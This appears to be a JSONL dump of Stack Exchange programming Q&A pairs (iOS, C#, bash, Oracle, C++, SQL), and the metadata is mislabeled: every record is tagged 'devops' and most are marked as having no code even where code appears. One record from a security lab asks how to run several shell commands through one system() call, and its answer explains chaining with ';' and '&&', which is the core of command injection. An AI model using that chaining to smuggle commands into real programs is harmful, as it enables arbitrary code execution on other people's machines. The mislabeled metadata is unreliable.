{"id": "hf_5dc2b1f9f83e", "question": "<p>I'd like to show an image in an iPhone app, but the image I'm using is too big. \nI'd like to scale it to fit the iPhone screen, I can't find any class to handle it.</p>\n", "question_body": "", "answer": "```\n```\nUIImageView* view = [[UIImageView alloc] initWithImage: [UIImage imageNamed: @\"your_image.png\"]];\nview.frame = CGRectMake(0, 0, width, height);\n```\n```\nTo get the frame of the iPhone screen you can use\n```\n```\nCGRect frame = [[UIScreen mainScreen] bounds];\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:30.278487"}
{"id": "hf_cb35daf13b60", "question": "<p>I have the following intentionally trivial function:</p>\n\n<pre><code>void ReplaceSome(ref string text)\n{\n    StringBuilder sb = new StringBuilder(text);\n    sb[5] = 'a';\n    text = sb.ToString();\n}\n</code></pre>\n\n<p>It appears to be inefficient to convert this to a StringBuilder to index into and replace some of the characters only to copy it back to the ref'd param. Is it possible to index directly into the text param as an L-Value?</p>\n\n<p>Or how else can I improve this?</p>\n", "question_body": "", "answer": "I don't know if this is more efficient, but it works. Either way you'll have to recreate the string after each change since they're immutable.\n```\n```\nstring test = \"hello world\";\n    Console.WriteLine(test);\n\n    test = test.Remove(5, 1);\n    test = test.Insert(5, \"z\");\n\n    Console.WriteLine(test);\n```\n```\nOr if you want it more concise:\n```\n```\nstring test = \"hello world\".Remove(5, 1).Insert(5, \"z\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:30.302524"}
{"id": "hf_2f9a68bdb988", "question": "<p>I'm fairly new to Castle Windsor and am looking into the in's and out's of the logging facility. It seems fairly impressive but the only thing i can't work out is where Windsor sets the Logger property on my classes. As in the following code will set Logger to the nullLogger if the class hasn't been setup yet but when Resolve is finished running the Logger property is set. </p>\n\n<pre><code>private ILogger logger;\n\npublic ILogger Logger\n{\n    get\n    {\n        if (logger == null) \n            logger = NullLogger.Instance;\n        return logger;\n    }\n    set { logger = value; }\n}\n</code></pre>\n\n<p>So what I am wondering is how and where windsor sets my Logger property. </p>\n\n<p>Cheers\nAnthony</p>\n", "question_body": "", "answer": "The logger is setup by the logging facility, which is in the\n```\n<facilities>\n```\nsection of the configuration.  For example to use log4net your app or web.config would look something like this:\n```\n```\n<?xml version=\"1.0\"?>\n<configuration>\n    <configSections>\n        <section name=\"castle\" type=\"Castle.Windsor.Configuration.AppDomain.CastleSectionHandler, Castle.Windsor\"/>\n    </configSections>\n<Configuration>\n\n<castle>\n\n    <facilities>\n        <facility id=\"loggingfacility\" \n             type=\"Castle.Facilities.Logging.LoggingFacility, Castle.Facilities.Logging\" \n             loggingApi=\"log4net\" \n             configFile=\"logging.config\" />\n    </facilities>\n\n</castle>\n</configuration>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:30.327231"}
{"id": "hf_9ab680e984ce", "question": "<p>I have an application where I have a <code>main.m</code> that returns <code>NSApplicationMain(argc,  (const char **) argv);</code>.</p>\n\n<p>I want to run code on <code>-applicationDidFinishLaunching:</code>, but I just dont see how to do it. </p>\n\n<p>Can anyone help or have an example? </p>\n\n<p>Thanks!\n-Jason</p>\n", "question_body": "", "answer": "The applicationDidFinishLaunching: method of the NSApplication delegate will be called when the app has finished loading. Many of the project templates setup a delegate. If you are using one just add the appropriate method to it.\nIf your project does not have an app delegate set up you will need to do that yourself. First, make a new class to act as your delegate (you can use an exiting one if there is something logically appropriate). Now make sure that class is instantiated in your MainMenu.nib. Finally, hook the delegate property of the \"File's Owner\" object to the instantiate delegate in IB.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:30.388153"}
{"id": "hf_e9b8118837b3", "question": "<p>What are some of the lesser know, but important and useful features of Windows batch files?</p>\n\n<p>Guidelines:</p>\n\n<ul>\n<li>One feature per answer</li>\n<li>Give both a short <strong>description</strong> of the feature and an <strong>example</strong>, not just a link to documentation</li>\n<li>Limit answers to <strong>native funtionality</strong>, i.e., does not require additional software, like the <em>Windows Resource Kit</em></li>\n</ul>\n\n<p>Clarification: We refer here to scripts that are processed by cmd.exe, which is the default on WinNT variants.</p>\n\n<p>(See also: <a href=\"https://stackoverflow.com/questions/148968/windows-batch-files-bat-vs-cmd\">Windows batch files: .bat vs .cmd?</a>)</p>\n", "question_body": "", "answer": "I have always found it difficult to read comments that are marked by a keyword on each line:\n```\n```\nREM blah blah blah\n```\n```\nEasier to read:\n```\n```\n:: blah blah blah\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:30.413476"}
{"id": "hf_21db053dab63", "question": "<p>I have done this:</p>\n\n<pre><code>$ z() { echo 'hello world'; }\n</code></pre>\n\n<p>How do I get rid of it?</p>\n", "question_body": "", "answer": "```\n```\nunset -f z\n```\n```\nWill unset the function named z.  A couple people have answered with:\n```\n```\nunset z\n```\n```\nbut if you have a function and a variable named z only the variable will be unset, not the function.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:30.437660"}
{"id": "hf_a877ce564500", "question": "<p>Here's the situation - I've got a shell that loads an external .swf. Now, that .swf is 800x600, but it's an animation piece, and there are elements that extends off the stage. When I load the .swf into the shell and call its width attribute, it returns 1200 - because it's including the elements that break out of the stage.</p>\n\n<p>This isn't what I want - ideally, there would be two properties, one to return the 'calculated width' and one to return the 'default width'. Do these properties exist, and if not, what's the best workaround?</p>\n", "question_body": "", "answer": "The width and height of the loaded SWF as defined by the FLA it was created with can be found in the\n```\nLoader\n```\nobject in which you've loaded the SWF into.\n```\n```\nswfLoader.contentLoaderInfo.width\nswfLoader.contentLoaderInfo.height\n```\n```\nThis will always show you the dimensions as defined in the FLA properties. It makes no difference if any images, MovieClips, or what have you extend off the stage.\nThe\n```\nstage.stageWidth\n```\nand\n```\nstage.stageHeight\n```\nproperties will always return the width of the stage, the stage is always the top most SWF. In other words, it will always represent the dimensions of the shell's stage. There is only ever one stage in a Flash application.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:30.474161"}
{"id": "hf_e84f68eb0fe1", "question": "<p>Using Python I want to be able to draw text at different angles using PIL.</p>\n\n<p>For example, imagine you were drawing the number around the face of a clock.  The number <strong>3</strong> would appear as expected whereas <strong>12</strong> would we drawn rotated counter-clockwise 90 degrees.</p>\n\n<p>Therefore, I need to be able to draw many different strings at many different angles.</p>\n", "question_body": "", "answer": "I'm not saying this is going to be easy, or that this solution will necessarily be perfect for you, but look at the documentation here:\nhttp://effbot.org/imagingbook/pil-index.htm\nand especially pay attention to the Image, ImageDraw, and ImageFont modules.\nHere's an example to help you out:\n```\n```\nimport Image\nim = Image.new(\"RGB\", (100, 100))\nimport ImageDraw\ndraw = ImageDraw.Draw(im)\ndraw.text((50, 50), \"hey\")\nim.rotate(45).show()\n```\n```\nTo do what you really want you may need to make a bunch of separate correctly rotated text images and then compose them all together with some more fancy manipulation.  And after all that it still may not look great.  I'm not sure how antialiasing and such is handled for instance, but it might not be good.  Good luck, and if anyone has an easier way, I'd be interested to know as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:30.522243"}
{"id": "hf_e9fa04b2020d", "question": "<p>How do you connect to a remote server via IP address in the manner that TOAD, SqlDeveloper, are able to connect to databases with just the ip address, username, SID and password?</p>\n\n<p>Whenever I try to specify and IP address, it seems to be taking it locally.</p>\n\n<p>In other words, how should the string for cx_Oracle.connect() be formatted to a non local database?</p>\n\n<p>There was a previous post which listed as an answer connecting to Oracle via cx_Oracle module with the following code:</p>\n\n<pre><code>#!/usr/bin/python\n\nimport cx_Oracle\nconnstr='scott/tiger'\nconn = cx_Oracle.connect(connstr)\ncurs = conn.cursor()\n\ncurs.execute('select * from emp')\nprint curs.description\nfor row in curs:\n    print row\nconn.close()\n</code></pre>\n", "question_body": "", "answer": "You can specify the server in the connection string, e.g.:\n```\n```\nimport cx_Oracle\nconnstr = 'scott/tiger@server:1521/orcl'\nconn = cx_Oracle.connect(connstr)\n```\n```\n\"server\" is the server, or the IP address if you want.\n\"1521\" is the port that the database is listening on.\n\"orcl\" is the name of the instance (or database service).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:30.567738"}
{"id": "hf_1a30632d77e0", "question": "<p>Having a vector containing pointers to objects then using the clear function doesn't call the destructors for the objects in the vector. I made a function to do this manually but I don't know how to make this a generic function for any kind of objects that might be in the vector.</p>\n\n<pre><code>void buttonVectorCleanup(vector&lt;Button *&gt; dVector){\n    Button* tmpClass;\n    for(int i = 0; i &lt; (int)dVector.size(); i++){\n        tmpClass = dVector[i];\n\n        delete tmpClass;\n    }\n}\n</code></pre>\n\n<p>This is the function I have that works fine for a specific type of object in the vector but I'd like a single function that could take any kind of vector with object pointers.</p>\n", "question_body": "", "answer": "The best thing to do is use smart pointers, such as from\nBoost\n.  Then the objects will be deleted automatically.\nOr you can make a template function\n```\n```\ntemplate <class T>\nvoid vectorCleanup(vector<T *>& dVector){\n    T* tmpClass;\n    for(vector<T*>::size_type i = 0; i < dVector.size(); i++){\n        tmpClass = dVector[i];\n\n        delete tmpClass;\n    }\n```\n```\n}", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:30.588244"}
{"id": "hf_958d00959b9a", "question": "<p>I have form area in my view. If I click button <kbd>A</kbd>, I want to submit to <code>/Books/1</code> and if I click button <kbd>B</kbd>, I want to submit to <code>/Books/2</code></p>\n\n<p>How do I achieve this with MVC?</p>\n", "question_body": "", "answer": "MVC Views can have multiple forms on a 'page', so just create separate  sections and give each one their own form action.\n```\n```\n<form id=\"form1\" name=\"form1\" action=\"/Books/1\" method=\"get\">\n<!--...form fields-->\n</form>\n\n<form id=\"form2\" name=\"form2\" action=\"/Books/2\" method=\"get\">\n<!--...form fields-->\n</form>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:30.611890"}
{"id": "hf_33ba76ab174a", "question": "<p>What's the best algorithm for comparing two arrays to see if they have the same members?</p>\n\n<p>Assume there are no duplicates, the members can be in any order, and that neither is sorted.</p>\n\n<pre><code>compare(\n    [a, b, c, d],\n    [b, a, d, c]\n) ==&gt; true\n\ncompare(\n    [a, b, e],\n    [a, b, c]\n) ==&gt; false\n\ncompare(\n    [a, b, c],\n    [a, b]\n) ==&gt; false\n</code></pre>\n", "question_body": "", "answer": "The best I can think of is O(n^2), I guess.\n```\n```\nfunction compare($foo, $bar) {\n    if (count($foo) != count($bar)) return false;\n\n    foreach ($foo as $f) {\n        foreach ($bar as $b) {\n            if ($f == $b) {\n                // $f exists in $bar, skip to the next $foo\n                continue 2;\n            }\n        }\n        return false;\n    }\n    return true;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:30.658480"}
{"id": "hf_37ef3091d782", "question": "<p>Let's say I have two arrays:</p>\n<blockquote>\n<p>int ArrayA[] = {5, 17, 150, 230, 285};</p>\n<p>int ArrayB[] = {7, 11, 57, 110, 230, 250};</p>\n</blockquote>\n<p>Both arrays are sorted and can be any size. I am looking for an efficient algorithm to find if the arrays contain any duplicated elements between them. I just want a true/false answer, I don't care which element is shared or how many.</p>\n<p>The naive solution is to loop through each item in ArrayA, and do a <a href=\"http://en.wikipedia.org/wiki/Binary_search\" rel=\"noreferrer\">binary search</a> for it in ArrayB. I believe this complexity is O(m * log n).</p>\n<p>Because both arrays are sorted, it seems like there should be a more efficient algorithm.</p>\n<p>I would also like a generic solution that doesn't assume that the arrays hold numbers (i.e. the solution should also work for strings). However, the comparison operators are well defined and both arrays are sorted from least to greatest.</p>\n", "question_body": "", "answer": "Pretend that you are doing a mergesort, but don't send the results anywhere.  If you get to the end of either source, there is no intersection.  Each time you compare the next element of each, if they are equal, there is an intersection.\nFor example:\n```\n```\ncounterA = 0;\ncounterB = 0;\nfor(;;) {\n    if(counterA == ArrayA.length || counterB == ArrayB.length)\n        return false;\n    else if(ArrayA[counterA] == ArrayB[counterB])\n        return true;\n    else if(ArrayA[counterA] < ArrayB[counterB])\n        counterA++;\n    else if(ArrayA[counterA] > ArrayB[counterB])\n        counterB++;\n    else\n        halt_and_catch_fire();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:30.704783"}
{"id": "hf_99fd2489a5df", "question": "<p>Most developers understand the concept of <a href=\"http://en.wikipedia.org/wiki/Wicked_problem\" rel=\"nofollow noreferrer\">wicked problems</a>. What's a good analogy to use when explaining this concept to project managers?</p>\n", "question_body": "", "answer": "Every changing requirements lead to an impossible to manage design. Just send him here:\nWinchester Mystery House\n. The house is filled with staircases to nowhere and doors that open to brick walls. It was built exactly as spec'd, but isn't really what you'd call usable.\nOf course up here in New England a \"wicked problem\" is one that requires a wicked good engineer to come up with a wicked clever solution :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:30.728328"}
{"id": "hf_69c2f18e0ef9", "question": "<p>Will their be a new release of the compact framework with VS2010 and .net 4.0 and if so what new features will it include? \nWPF? \nlinq to SQL?\netc</p>\n", "question_body": "", "answer": "I'm not sure about 4.0 for compact devices (although it seems likely),\nand I don't know about WPF either, but I can tell you they are going to provide Silverlight for mobile devices giving you access to a subset of WPF.\nHaven't found any other references yet...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:30.751796"}
{"id": "hf_efa9272768e2", "question": "<p>In DB2, you can name a column ORDER and write SQL like</p>\n\n<pre><code>SELECT ORDER FROM tblWHATEVER ORDER BY ORDER\n</code></pre>\n\n<p>without even needing to put any special characters around the column name.  This is causing me pain that I won't get into, but my question is:  why do databases allow the use of SQL keywords for object names?  Surely it would make more sense to just not allow this?</p>\n", "question_body": "", "answer": "Many SQL parsers (expecially DB2/z, which I use) are smarter than some of the regular parsers which sometimes separate lexical and semantic analysis totally (this separation is mostly a good thing).\nThe SQL parsers can figure out based on context whether a keyword is valid or should be treated as an identifier.\nHence you can get columns called ORDER or GROUP or DATE (that's a particularly common one).\nIt does annoy me with some of the syntax coloring editors when they brand an identifier with the keyword color. Their parsers aren't as 'smart' as the ones in DB2.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:30.802307"}
{"id": "hf_09b0ef9d2be6", "question": "<p>In an information security lab I'm working on, I've been tasked with executing multiple commands with a single call to \"system()\" (written in C, running on Fedora).  What is the syntax that will allow me to execute more than command through system()?  (The idea being you could execute arbitrary commands through a program running on a remote computer, if the program interacts with the OS through the system() call.)</p>\n\n<p>I.e.:</p>\n\n<pre><code>char command[] = \"????? \\r\\n\"; \nsystem(command);\n</code></pre>\n", "question_body": "", "answer": "That depends on the shell being invoked to execute the commands, but in general most shells use\n```\n;\n```\nto separate commands so something like this should work:\n```\n```\ncommand1; command2; command3\n```\n```\n[EDIT]\nAs @dicroce mentioned, you can use\n```\n&&\n```\ninstead of\n```\n;\n```\nwhich will stop execution at the first command that returns a non-zero value.  This may or may not be desired (and some commands may return non-zero on success) but if you are trying to handle commands that can fail you should probably not string multiple commands together in a system() call as you don't have any way of determining where the failure occured.  In this case your best bet would either be to execute one command at a time or create a shell script that performs the appropriate error handling and call that instead.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:30.836714"}
{"id": "hf_0ceb8c27d706", "question": "<p>I didn't attend PDC 2008, but I heard some news that C# 4.0 is announced to support Generic covariance and contra-variance. That is, <code>List&lt;string&gt;</code> can be assigned to <code>List&lt;object&gt;</code>. How could that be?</p>\n\n<p>In Jon Skeet's book <strong><em>C# in Depth</em></strong>, it is explained why C# generics doesn't support covariance and contra-variance. It is mainly for writing secure code. Now, C# 4.0 changed to support them. Would it bring chaos?</p>\n\n<p>Anybody know the details about C# 4.0 can give some explanation?</p>\n", "question_body": "", "answer": "Variance will only be supported in a\nsafe\nway - in fact, using the abilities that the CLR already has. So the examples I give in the book of trying to use a\n```\nList<Banana>\n```\nas a\n```\nList<Fruit>\n```\n(or whatever it was) still won't work - but a few other scenarios will.\nFirstly, it will only be supported for interfaces and delegates.\nSecondly, it requires the author of the interface/delegate to decorate the type parameters as\n```\nin\n```\n(for contravariance) or\n```\nout\n```\n(for covariance). The most obvious example is\n```\nIEnumerable<T>\n```\nwhich only ever lets you take values \"out\" of it - it doesn't let you add new ones. That will become\n```\nIEnumerable<out T>\n```\n. That doesn't hurt type safety at all, but lets you return an\n```\nIEnumerable<string>\n```\nfrom a method declared to return\n```\nIEnumerable<object>\n```\nfor instance.\nContravariance is harder to give concrete examples for using interfaces, but it's easy with a delegate. Consider\n```\nAction<T>\n```\n- that just represents a method which takes a\n```\nT\n```\nparameter. It would be nice to be able to convert seamlessly use an\n```\nAction<object>\n```\nas an\n```\nAction<string>\n```\n- any method which takes an\n```\nobject\n```\nparameter is going to be fine when it's presented with a\n```\nstring\n```\ninstead. Of course, C# 2 already has covariance and contravariance of delegates to some extent, but via an actual conversion from one delegate type to another (creating a new instance) - see P141-144 for examples. C# 4 will make this more generic, and (I believe) will avoid creating a new instance for the conversion. (It'll be a reference conversion instead.)\nHope this clears it up a bit - please let me know if it doesn't make sense!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:30.860775"}
{"id": "hf_5348f67ff25f", "question": "<p>Are there any 'standard' plugins for detecting the CPU architecture in <strong>scons</strong>? </p>\n\n<p>BTW, this question was asked already <a href=\"https://stackoverflow.com/questions/152016/detecting-cpu-architecture-compile-time\">here</a> in a more general form... just wondering if anyone has already taken the time to incorporate this information into scons. </p>\n", "question_body": "", "answer": "Something like this?\n```\n```\nenv = Environment()\nconf = Configure(env)\nif conf.CheckDeclaration(\"__i386__\"):\n    conf.Define(\"MY_ARCH\", \"blahblablah\")\nenv = conf.Finish()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:30.895031"}
{"id": "hf_a539118b5bd0", "question": "<p>My database consists of 3 tables (one for storing all items, one for the tags, and one for the relation between the two):</p>\n\n<p>Table: Post\nColumns: PostID, Name, Desc</p>\n\n<p>Table: Tag\nColumns: TagID, Name</p>\n\n<p>Table: PostTag\nColumns: PostID, TagID</p>\n\n<p>What is the best way to save a space separated string (e.g. \"smart funny wonderful\") into the 3 database tables shown above?  </p>\n\n<p>Ultimately I would also need to retrieve the tags and display it as a string again.    Thanks!</p>\n", "question_body": "", "answer": "If you have a Tag Table, wouldn't you have a row for each Tag?\n```\n```\ntag.id = 1; tag.name = 'smart'\ntag.id = 2; tag.name = 'funny'\ntag.id = 3; tag.name = 'wonderful'\n```\n```\nIn Groovy/Grails, you'd retrieve them as a list, possibly concatenating them into a space separated list for display.\nUnless I'm really misunderstanding the question, Groovy/Grails/GORM will handle this with little or no code with the default scaffolding, no real coding required.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:30.929686"}
{"id": "hf_70ce12bb863b", "question": "<p>Many examples of macros seem to be about hiding lambdas, e.g. with-open-file in CL. I'm looking for some more exotic uses of macros, particularly in PLT Scheme. I'd like to get a feel for when to consider using a macro vs. using functions.</p>\n", "question_body": "", "answer": "I'll start answering the last question. When to use a macro instead of a function. The macros do things the functions can't, and the functions do thing the macros can't, so it'll be hard to mix them, but let's go deeper.\nYou use functions when you want the arguments evaluated and macros when you want the arguments un-evaluated. That's not very useful, is it? You use macros when you want to write something in a different way, when you see a pattern and you want to abstract. For example: I define three functions called foo-create, foo-process and foo-destroy for different values of foo and with similar bodies where the only change is foo. There's a pattern but a too-high level for a function, so you create a macro.\nIn my humble experience, macros in Scheme are to used as much as in other Lisps, like Common Lisp or\nClojure\n. I suppose it's proof that maybe hygienic macros are not such a good idea, and here I would disagree with Paul Graham about why. It's not because sometimes you want to be dirty (un-hygienic) but because hygienic macros end up being complex or convoluted.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:30.964821"}
{"id": "hf_8fe8bb132104", "question": "<p>This is similar to <a href=\"https://stackoverflow.com/questions/105212/linux-recursively-list-all-files-in-a-directory-including-files-in-symlink-dire\">this question</a>, but I want to include the path relative to the current directory in unix. If I do the following:</p>\n\n<pre><code>ls -LR | grep .txt\n</code></pre>\n\n<p>It doesn't include the full paths. For example, I have the following directory structure:</p>\n\n<pre><code>test1/file.txt\ntest2/file1.txt\ntest2/file2.txt\n</code></pre>\n\n<p>The code above will return:</p>\n\n<pre><code>file.txt\nfile1.txt\nfile2.txt\n</code></pre>\n\n<p>How can I get it to include the paths relative to the current directory using standard Unix commands?</p>\n", "question_body": "", "answer": "Try\n```\nfind\n```\n. You can look it up exactly in the man page, but it's sorta like this:\n```\nfind [start directory] -name [what to find]\n```\nso for your example\n```\nfind . -name \"*.txt\"\n```\nshould give you what you want.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:30.999552"}
{"id": "hf_fbdfb5aa23d8", "question": "<p>When running PHP in CLI mode, <em>most</em> of the time (not always), the script will hang at the end of execution for about 5 seconds and then output this:</p>\n\n<blockquote>\n  <p><code>Error in my_thread_global_end(): 1 threads didn't exit</code></p>\n</blockquote>\n\n<p>It doesn't seem to actually have any effect on the script itself.</p>\n\n<p>Some web searches turned up blogs which suggest replacing the php_mysql.dll with a different version, however this has not solved the issue for me, and I suspect the info from those blogs is now out of date.</p>\n\n<p>My setup:</p>\n\n<ul>\n<li>PHP Version 5.2.4</li>\n<li>Apache/2.2.4 (Win32)</li>\n<li>Windows Vista Home Premium SP1</li>\n</ul>\n", "question_body": "", "answer": "Did you take a look at\nthis resource\n? You may want to double check that you got a specific libmysql.dll (5.2.1) that is unaffected by this, and also to double check that you don't have any stray mysql libraries lying around that PHP could be picking up instead. Or, switch from FastCGI if that's an option for you.\nFor interests sake, the bug appears to be best detailed\nhere\n. The general idea of the problem (from the mysql bug link) appears to be:\n```\n```\nWhenever a new thread is created libmysql is told about that by Windows. It then     \nincreases a thread counter and initializes some data. When libmysql is being unloaded\nit checks whether all threads have finished, if not it tries to tell them \"close now\"\nand gives them 5 seconds for that. In general this works in a nice way.\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:31.038833"}
{"id": "hf_460c8d894f78", "question": "<p>Is it possible for the .NET CLR to support Objective-C? Are there any reasons (either from a legal or implementational) standpoint why this wouldn't be possible?</p>\n<p>In the spirit of cross-platform application development, it would be nice to be able to write and run Objective-C applications on Windows machines. At least I think it would.</p>\n", "question_body": "", "answer": "No, there really aren't.  .NET compiles to\nIL\n(or CIL or MSIL) which is basically machine code for a virtual machine.  You can program in IL like you do in assembly (not that I've seen anyone do it).  If you had the experience, knowledge, and gumption there would be no problem writing an Objective-C to IL compiler.  Hell, there are even\nfunctional programming languages (F#)\nfor .NET.  Besides the messaging capabilities and the libraries, it's not too different from C#, VB.NET, etc.\nWhat an awesome idea!  Objective-C# or some such.\nHere's where you might start:\nWikipedia on Microsoft's IL", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:31.061188"}
{"id": "hf_e77676ff7f25", "question": "<p>For example, when I'm dividing two ints and want a float returned, I superstitiously write something like this:</p>\n\n<pre><code>int a = 2, b = 3;\nfloat c = (float)a / (float)b;\n</code></pre>\n\n<p>If I do not cast <code>a</code> and <code>b</code> to floats, it'll do integer division and return an int.</p>\n\n<p>Similarly, if I want to multiply a signed 8-bit number with an unsigned 8-bit number, I will cast them to signed 16-bit numbers before multiplying for fear of overflow:</p>\n\n<pre><code>u8 a = 255;\ns8 b = -127;\ns16 = (s16)a * (s16)b;\n</code></pre>\n\n<p>How exactly does the compiler behave in these situations when not casting at all or when only casting one of the variables? Do I really need to explicitly cast all of the variables, or just the one on the left, or the one on the right?</p>\n", "question_body": "", "answer": "Division of integers:  cast any one of the operands, no need to cast them both.  If both operands are integers the division operation is an integer division, otherwise it is a floating-point division.\nAs for the overflow question, there is no need to explicitly cast, as the compiler implicitly does that for you:\n```\n```\n#include <iostream>\n#include <limits>\n\nusing namespace std;\nint main()\n{\n    signed int a = numeric_limits<signed int>::max();\n    unsigned int b = a + 1; // implicit cast, no overflow here\n    cout << a << ' ' <<  b << endl;\n    return 0;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:31.158524"}
{"id": "hf_bf00e7f8c70d", "question": "<p>In SQL Server given a Table/View how can you generate a definition of the Table/View in the form:</p>\n\n<blockquote>\n  <p>C1 int,<br>\n  C2 varchar(20),<br>\n  C3 double</p>\n</blockquote>\n\n<p>The information required to do it is contained in the meta-tables of SQL Server but is there a standard script / IDE faciltity to output the data contained there in the form described above ?. </p>\n\n<p>For the curious I want this as I have to maintain a number of SP's which contain Table objects (that is a form of temporary table used by SQL Server). The Table objects need to match the definition of Tables or Views already in the database - it would make life a lot easier if these definitions could be generated automatically.</p>\n", "question_body": "", "answer": "If you want to duplpicate a table definition you could use:\n```\n```\nselect top 0\n  *\ninto\n  newtable\nfrom\n  mytable\n```\n```\nEdit: Sorry, just re-read your question, and realised this might not answer it. Could you be clear on what you are after, do you want an exact duplicate of the table definition, or a table that contains information about the tables definition?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:31.224261"}
